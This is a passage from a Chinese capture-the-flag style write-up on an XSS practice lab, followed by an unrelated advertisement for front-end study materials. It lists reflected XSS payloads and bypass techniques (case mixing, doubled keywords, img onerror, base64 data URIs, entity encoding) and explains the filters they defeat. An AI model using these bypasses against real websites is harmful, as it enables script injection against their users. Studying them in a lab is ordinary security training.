同样被恶意添加了下划线
4. 使用<a href=" ">
标签来测试,
"> <a href=javascript:alert(‘xss’) > xss //
同样href
被恶意添加下划线
5. 对href
尝试大小写绕过
"><a HrEf=javascript:alert(“xss”)>xss//
6. 查看服务器端源码
-
将
get
方式传递到服务器端的keyword
参数的值赋值给str变量。 -
用字符
<script
去匹配我们提交的参数值,如果匹配到了就进行替换来破坏原来的语义导致无法实现xss
。此处能够防范的是<script> </script>
这一类的恶意代码。 -
可以看到是用字符
on
去匹配参数值,如果匹配到了就进行替换破坏原有语义。这里主要防范的是利用带有on
字符的事件来触发恶意代码,比如前面用到过的onfocus
事件。 -
可以看到是用字符
src
去进行匹配,得提到<img>
标签。
在标签中引用图片会用到一个属性就是src。正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码。
标签代码:?name=<img src=111 οnerrοr=alert(‘xss’)>
- 用字符
data
进行匹配的,比如如果在实际情况中,javascript、script
等关键字被过滤掉了之后,可以用如下语句进行尝试
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
和
javascript:alert(“xss”)
或者
的作用是一样的。
-
可以看到是用
<a> </a>
标签中的字符href
来进行匹配,防止通过在href
属性中插入js
代码来点击执行。 -
用
htmlspecialchars()
函数对变量str
进行处理后显示到网页上。 -
直接将
str
变量值插入到了标签的value
属性值中
============================================================================
- 使用弹窗语句
javascript:alert(“xss”)
进行测试,并查看网页源码发现<h2>
标签中的双引号被转义处理,且参数value
中的script
也被删除。
"οnfοcus=javascript:alert(‘xss’)>// on被删除
"><a href=javascript:alert(“xss”)>xss//
"><a HrEf=javascript:alert(“xss”)>xss// 均转化为小写
"><a hrehreff=javascriscriptpt:alert(“xss”)>xss// 双写关键字
3. 查看服务器端代码
-
对参数值转换成了小写
-
将基本的关键字都删除了,但是均只执行了一次 所以可以双写关键字绕过
===================================================================================
- 测试语句并查看网页源码,提交的参数值一个会插入到
<input>
标签的value
属性值中,一个会插入到下方<a>
标签的href
属性值中。
javascript:alert(“xss”)
2. 依然为get
方式传参,且<a>
标签中javascript
被恶意添加下划线,参数value
中的双引号也被转义
"οnfοcus=javascript:alert(‘xss’)>//
onfocus
也被恶意添加了下划线
4. 闭合语句的引号被编码;onfocus、javascript
均被恶意破坏语义;未删除关键字,则双写关键字绕过也不可以;大小写绕过也不可以;
考虑使用加密的方法
5. 将弹窗语句进行unicode
编码为javascript:alert('xss')
===============================================================================
- 尝试弹窗语句
javascript:alert(‘xss’)
并查看网页源代码
2. 本关依旧为get方式传参,提交的参数值插入到了标签的value属性值中,发现value值的单引号被转义。
3. 但是在<a>
标签的href
属性中却并没有出现该参数值,而是显示的 "您的链接不合法?有没有!"
这样的字符串,猜测这里可能对url
地址做了匹配。只有包含正常的url
地址才能添加到href
属性值中,因此构造一个有正常url地址的恶意代码:
javascript:alert(‘xss’)http://www.qq.com
javascript被恶意添加下划线
javAsCript:alert(‘xss’)http://www.qq.com //尝试大小写绕过
javascriscriptpt:alert(‘xss’)http://www.qq.com //双写关键字绕过
javascript:al
ert('xss')htt
p://www.qq.co
m
//全部编码
小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数初中级前端工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年Web前端开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频
如果你觉得这些内容对你有帮助,可以添加下面V无偿领取!(备注:前端)
学习笔记
主要内容包括html,css,html5,css3,JavaScript,正则表达式,函数,BOM,DOM,jQuery,AJAX,vue等等
开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】
HTML/CSS
**HTML:**HTML基本结构,标签属性,事件属性,文本标签,多媒体标签,列表 / 表格 / 表单标签,其他语义化标签,网页结构,模块划分
**CSS:**CSS代码语法,CSS 放置位置,CSS的继承,选择器的种类/优先级,背景样式,字体样式,文本属性,基本样式,样式重置,盒模型样式,浮动float,定位position,浏览器默认样式
HTML5 /CSS3
**HTML5:**HTML5 的优势,HTML5 废弃元素,HTML5 新增元素,HTML5 表单相关元素和属性
**CSS3:**CSS3 新增选择器,CSS3 新增属性,新增变形动画属性,3D变形属性,CSS3 的过渡属性,CSS3 的动画属性,CSS3 新增多列属性,CSS3新增单位,弹性盒模型
JavaScript
**JavaScript:**JavaScript基础,JavaScript数据类型,算术运算,强制转换,赋值运算,关系运算,逻辑运算,三元运算,分支循环,switch,while,do-while,for,break,continue,数组,数组方法,二维数组,字符串
HTML5:**HTML5 的优势,HTML5 废弃元素,HTML5 新增元素,HTML5 表单相关元素和属性
**CSS3:**CSS3 新增选择器,CSS3 新增属性,新增变形动画属性,3D变形属性,CSS3 的过渡属性,CSS3 的动画属性,CSS3 新增多列属性,CSS3新增单位,弹性盒模型
[外链图片转存中…(img-1ewZBhcO-1710704041263)]
JavaScript
**JavaScript:**JavaScript基础,JavaScript数据类型,算术运算,强制转换,赋值运算,关系运算,逻辑运算,三元运算,分支循环,switch,while,do-while,for,break,continue,数组,数组方法,二维数组,字符串